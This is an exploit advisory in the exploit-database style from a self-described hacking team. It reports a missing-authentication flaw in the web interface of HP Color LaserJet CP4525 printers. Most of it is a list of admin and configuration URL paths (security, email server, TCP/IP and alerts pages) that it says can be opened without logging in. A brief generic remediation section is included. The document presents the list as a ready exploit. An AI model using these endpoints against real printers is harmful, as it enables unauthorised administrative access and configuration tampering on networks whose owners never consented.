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# Exploit Title : HP Color LaserJet CP4525 Printers 6.7.0.x Bypass Missing Authentication
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 31/03/2019
# Vendor Homepage : hp.com
# Software Information Link : 
support.hp.com/gb-en/drivers/selfservice/hp-color-laserjet-enterprise-cp4525-printer-series/3965798
# Software Version :   
Driver-Universal Print Driver for Managed Services => 6.7.0.23989
Example Printer Model Number : CC494A - CCXXXA
Driver-Product Installation Software => 61.091.12.102
Driver-Universal Print Driver  => Version 6.1.0.20062 and 6.7.0.23989
Driver-USB => 7.0.0.29
Firmware => 07.250.2
Software Universal Printer Driver => Version 1.8.6
Utility => Version 1.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : CWE-306 [ Missing Authentication for Critical Function ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Description about Software :
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HP LaserJet as a brand name identifies the line of dry electrophotographic DEP laser printers marketed by the American

computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer.

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# Impact :
***********
The software does not perform any authentication for functionality that requires a provable user identity 

or consumes a significant amount of resources.

The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the 

affected application and change configuration settings or gain administrative access.

Missing authentication for critical function is a language independent issue that can appear in any multiuser environment.

Developing a fix would require understanding of the current application security model and implemented access controls.

Three basic rules however can help you eliminate potential improper authorization issues:

1) Identify all privileged assets within your application (web pages that display sensitive data, 
website sections that contain privileged/administrative functionality, etc.)

2) Identify user roles within the application and their access permissions

3) Always check if the user should have privileges to access the asset

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# Bypass Missing Authentication Exploit / Vulnerability :
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/hp/device/this.LCDispatcher

/hp/device/this.LCDispatcher?nav=hp.EmailServer

/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=1&lstid=-1

/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=3&lstid=1

/hp/device/this.LCDispatcher?nav=hp.Alerts

/hp/device/this.LCDispatcher?nav=hp.AutoSend

/hp/device/this.LCDispatcher?nav=hp.Security&fldPage=0

/hp/device/this.LCDispatcher?nav=hp.OtherLinks

/hp/device/this.LCDispatcher?nav=hp.Config

/hp/device/this.LCDispatcher?nav=hp.DeviceInfoConfig

/hp/jetdirect

/config_pro.htm
/tcpipv6.htm
/tcpipv4.htm

/tcp_param.htm
/network_id.htm

/tcp_summary.htm
/index_info.htm

/support_param.html
/support.htm

/tcp_diag.htm
/configpage.htm

/tcp_param.htm
/network_id.htm

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

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